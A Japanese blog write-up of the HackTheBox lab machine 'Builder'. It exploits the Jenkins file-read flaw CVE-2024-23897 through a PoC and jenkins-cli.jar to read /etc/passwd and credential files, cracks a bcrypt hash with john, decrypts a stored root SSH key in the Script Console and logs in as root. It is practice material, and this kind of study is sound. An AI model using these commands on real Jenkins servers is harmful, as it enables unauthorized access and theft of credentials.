HackTheBox Builder WriteUp

今回はHackTheBoxのMediumマシン「Builder」のWriteUpです！
名前から何かを作る要素があるような気配がしますが、どのようなマシンなのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3a6b7c5d-e6cb-a854-2683-a9b85458a35e.png)

グラフは普段のMediumマシンよりも難易度低めな感じがしますね。
さくっと攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Builder

### 列挙

それでは攻略を始めていきます。
まずは```nmap```から実行していきましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.10 

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open  http    Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Dashboard [Jenkins]
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
```

SSHとHTTPがオープンしています。
8080番では```Jenkins```が動作しているようですね。ブラウザで確認してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d1c53877-c955-7cc0-42fc-c56e0cb36f33.png)

やはり```Jenkins```でした。右上に```Log in```というボタンもあり、押してみると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c706e2db-cc2b-3d3a-895a-01354839b781.png)

ログイン画面が表示されました。適当に認証情報を入力してみましたが特にログインはできないようです。

### CVE-2024-23897

では、ダッシュボード内を探索していきます。ダッシュボードの右下に```Jenkins```のバージョンが```2.441```であると書かれているので、脆弱性がないか調べてみます。すると、以下の記事を発見しました。

https://github.com/Praison001/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability

どうやらファイルの読み取りが可能である脆弱性が存在しているようです。
この脆弱性は、```jenkins-cli.jar```を使用して手動で攻撃が可能なようですが、今回はPoCを使用したいと思います。

:::note warn
概要 : CVE-2024-23897
Jenkins 2.441以前、LTS 2.426.2以前は任意ファイル読み取りに対して脆弱です。これらのバージョンではファイルパス内の「@」をパスとして置き換えるCLIコマンドパーサーの機能が無効になりません。そのため、引数内のファイルパスに「@」を使用し、任意のファイルを指定することで、任意のファイルを読み取ることが可能になります。
:::

それではこの脆弱性を使用して、```/etc/passwd```を読み取ってみたいと思います。引用したGitHubのページをCloneして、PoCを実行していきましょう。

```bash
+[~/builder/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability]
(σ▰>∇<)σ<10.10.14.5>$ python CVE-2024-23897.py -u http://10.10.11.10:8080/ -f /etc/passwd 
   _  _         _     _   _          ___ _       
 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_ 
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|

Exploiting..
b'\x00\x00\x00\x00\x83\x08www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.\n\x00\x00\x00Y\x08root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.\n\x00\x00\x00q\x08mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.\n\x00\x00\x00\x83\x08backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.\n\x00\x00\x00y\x08_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.\n\x00\x00\x00\x8f\x08nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.\n\x00\x00\x00s\x08lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.\n\x00\x00\x00\x81\x08uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.\n\x00\x00\x00c\x08bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.\n\x00\x00\x00}\x08news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.\n\x00\x00\x00o\x08proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.\n\x00\x00\x00s\x08irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.\n\x00\x00\x00\x95\x08list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.\n\x00\x00\x00{\x08jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.\n\x00\x00\x00y\x08games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.\n\x00\x00\x00y\x08man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.\n\x00\x00\x00y\x08daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.\n\x00\x00\x00c\x08sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.\n\x00\x00\x00_\x08sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.\n\x00\x00\x00\x01\x08\n\x00\x00\x00Q\x08ERROR: Error occurred while performing this command, see previous stderr output.\n\x00\x00\x00\x04\x04\x00\x00\x00\x05'
```

出力はかなり見にくいですが、ファイルの読み取りに成功しました！

では、この脆弱性を悪用して内部の列挙を進めていきますが、さすがに出力が見にくいので、コマンドを組み合わせて軽く整形します。

```bash
+[~/builder/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability]
(σ▰>∇<)σ<10.10.14.5>$ cat result.txt | sed 's/\\x[0-9A-Fa-f][0-9A-Fa-f]//g' | tr -d '\000' | sed 's/:\ No\ such\ agent\ "[^"]*" exists\.//g' | sed 's/\\n/\n/g' 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Yroot:x:0:0:root:/root:/bin/bash
qmail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
y_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
slp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
cbin:x:2:2:bin:/bin:/usr/sbin/nologin
}news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
oproxy:x:13:13:proxy:/bin:/usr/sbin/nologin
sirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
{jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
ygames:x:5:60:games:/usr/games:/usr/sbin/nologin
yman:x:6:12:man:/var/cache/man:/usr/sbin/nologin
ydaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
csys:x:3:3:sys:/dev:/usr/sbin/nologin
_sync:x:4:65534:sync:/bin:/bin/sync

QERROR: Error occurred while performing this command, see previous stderr output.
```

若干おかしいところもありますが、だいぶん見やすくなりました。
なのですが、列挙の中でPoCがなかなかうまく実行できないことがわかったので、```jenkins-cli.jar```ファイルを使用することにしました。

まずは```wget```を実行し、```jenkins-cli.jar```ファイルをダウンロードします。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
--2024-05-02 04:23:17--  http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.10.11.10:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’

jenkins-cli.jar                            100%[========================================================================================>]   3.46M  47.7KB/s    in 89s     

2024-05-02 04:24:47 (39.8 KB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]
```

ダウンロードできました。実行する場合は、読み取りたいファイルの前に「@」を指定します。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' -http connect-node '@/etc/passwd'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.
```

これでPoCと同じ状況になりました！列挙を続けていきましょう。

### ユーザフラグ（Jenkins）

出力を整形して気づきましたが、ローカルユーザとして```Jenkins```が存在しています。UIDが```1000```なので、ユーザフラグを取得できそうです。ホームディレクトリはいつもの形ではなく```/var/jenkins_home```となっていることに注意してください。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' -http connect-node '@/var/jenkins_home/user.txt'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: No such agent "<user flag>" exists.
```

ユーザフラグを取得できました！

### 内部探索

ユーザフラグが取得できたので、内部をさらに探索していきます。
```Jenkins```でほしい情報というと、やはり認証情報です。```Jenkins```では、いつも```/var/jenkins_home/secrets/initialAdminPassword```にAdminのパスワードを保存します。確認してみましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' -http connect-node '@/var/jenkins_home/secrets/initialAdminPassword' 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

ERROR: No such file: /var/jenkins_home/secrets/initialAdminPassword
java -jar jenkins-cli.jar connect-node NAME ... [-f]
Reconnect to a node(s)
 NAME : Agent name, or empty string for built-in node; comma-separated list is
        supported
 -f   : Cancel any currently pending connect operation and retry from scratch
        (default: false)
```

ファイルはないといわれました。。
んー、では次にユーザ情報を保存するファイル```/var/jenkins_home/users/users.xml```を確認してみましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' -http connect-node '@/var/jenkins_home/users/users.xml'             
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
      <string>jennifer_12108429903186576833</string>: No such agent "      <string>jennifer_12108429903186576833</string>" exists.
  <idToDirectoryNameMap class="concurrent-hash-map">: No such agent "  <idToDirectoryNameMap class="concurrent-hash-map">" exists.
    <entry>: No such agent "    <entry>" exists.
      <string>jennifer</string>: No such agent "      <string>jennifer</string>" exists.
  <version>1</version>: No such agent "  <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
  </idToDirectoryNameMap>: No such agent "  </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
    </entry>: No such agent "    </entry>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.
```

若干出力が見にくいですが、```jennifer```ユーザを確認しました。

### Hash Crack

出力の中にはディレクトリも表示されています。ディレクトリの名前は```jennifer_12108429903186576833```のようです。ディレクトリがわかればさらに列挙を続けることが可能です。
```Jenkins```では```/var/jenkins_home/users/<user directory>/config.xml```にユーザの認証情報が保存されます。内容を確認してみましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' -http connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: No such agent "    <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">" exists.
    <hudson.search.UserSearchProperty>: No such agent "    <hudson.search.UserSearchProperty>" exists.
      <roles>: No such agent "      <roles>" exists.
    <jenkins.security.seed.UserSeedProperty>: No such agent "    <jenkins.security.seed.UserSeedProperty>" exists.
      </tokenStore>: No such agent "      </tokenStore>" exists.
...
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such agent "    <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>" exists.
      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent "      <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.

ERROR: Error occurred while performing this command, see previous stderr output.
```

出力の一番最後にパスワードのハッシュが出力されました！
解読できるか試してみましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt                                                                                    
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess         (?)     
1g 0:00:00:00 DONE (2024-05-02 04:45) 2.777g/s 150.0p/s 150.0c/s 150.0C/s 123456..basketball
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

ハッシュが解読できました！
この認証情報を使用して```Jenkins```にログインしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/81b58447-894a-0bbe-2285-2713a272ca7a.png)

ログインできました！

### Jenkins Secrets

ではここからさらに列挙を進めていきます。```Jenkins```の内部を見ていると、```Clobal credentials```に```root```ユーザのSSH秘密鍵があることがわかりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/113efb25-8173-98d8-f727-de2438349ea6.png)

設定ボタンを押下し、SSH秘密鍵を読むことができるか見てみましたが、見ることはできないようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b03b3256-54e3-499f-93d4-bed0b77e694f.png)

しかし、```/credentials/```へアクセスできる場合、シークレットを取得することが可能です。記事にも情報がまとまっています。

https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security#jenkins-secrets

```jennifer```ユーザには権限があることがわかっています。シークレットの取得方法はいろいろとありますが、せっかくなので```CVE-2024-23897```を悪用しましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' -http connect-node '@/var/jenkins_home/credentials.xml' | grep secret
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>: No such agent "</com.cloudbees.plugins.credentials.SystemCredentialsProvider>" exists.
    <entry>: No such agent "    <entry>" exists.
...
<privateKey>{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}</privateKey>
...
```

シークレットを取得できました！これを復号しましょう。
復号する方法も2つありますが、私は```Jenkins```にあるコンソールから復号する道を選択しました。```Script Console```にアクセスすると、コンソール画面へアクセスできます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7a79ef82-4f16-83a7-b46c-c1b6b5f6e4c5.png)

ここで```println(hudson.util.Secret.decrypt("{<secret>}")```を実行すると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f2796ee6-3b61-d179-5ae8-27d86bfd443b.png)

復号に成功し、SSH秘密鍵が出力されました！

## root としてのシェル

それでは、このSSH秘密鍵を使用しシェルを取得しましょう。

```bash
+[~/builder]
(σ▰>∇<)σ<10.10.14.5>$ ssh -i id_rsa root@10.10.11.10 

root@builder:~# whoami
root
```

権限昇格に成功しました！

```bash
root@builder:~# ls -l
total 4
-rw-r----- 1 root root 33 May  2 07:05 root.txt
```

フラグも取得でき、無事完全攻略達成です～！

### 攻略を終えて

今回のマシンは確かにMediumマシンにしては、優しめの難易度だったかなと思います。
全体的に```Jenkins```を対象としたマシンだったので、かなり```Jenkins```について理解を深めることができました。
足がかりはバージョンが脆弱なことによるファイル読み取りでした。```Jenkins```のようなシステムではユーザの認証情報がローカルファイルに保存されているので、かなり影響度が高いですね。バージョンの管理はもちろんですが、ハッシュで解読できないようなパスワードを使用することも大切になってきそうですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです。
最後まで見ていただき、ありがとうございました～～！！